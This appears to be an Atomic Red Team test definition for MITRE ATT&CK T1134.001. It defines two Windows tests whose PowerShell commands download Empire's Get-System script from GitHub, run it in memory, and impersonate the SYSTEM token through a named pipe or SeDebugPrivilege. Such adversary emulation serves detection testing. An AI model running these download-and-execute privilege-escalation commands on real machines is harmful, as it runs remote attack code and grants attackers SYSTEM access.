attack_technique: T1134.001
display_name: 'Access Token Manipulation: Token Impersonation/Theft'
atomic_tests:
- name: Named pipe client impersonation
  auto_generated_guid: 90db9e27-8e7c-4c04-b602-a45927884966
  description: |-
    Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script creates a named pipe, and a service that writes to that named pipe. When the service connects to the named pipe, the script impersonates its security context.
    When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).

    Reference: https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
  supported_platforms:
  - windows
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique NamedPipe -Verbose
    name: powershell
    elevation_required: true
- name: '`SeDebugPrivilege` token duplication'
  auto_generated_guid: 34f0a430-9d04-4d98-bcb5-1989f14719f0
  description: |-
    Uses PowerShell and Empire's [GetSystem module](https://github.com/BC-SECURITY/Empire/blob/v3.4.0/data/module_source/privesc/Get-System.ps1). The script uses `SeDebugPrivilege` to obtain, duplicate and impersonate the token of a another process.
    When executed successfully, the test displays the domain and name of the account it's impersonating (local SYSTEM).
  supported_platforms:
  - windows
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (IWR 'https://raw.githubusercontent.com/BC-SECURITY/Empire/f6efd5a963d424a1f983d884b637da868e5df466/data/module_source/privesc/Get-System.ps1' -UseBasicParsing); Get-System -Technique Token -Verbose
    name: powershell
    elevation_required: true
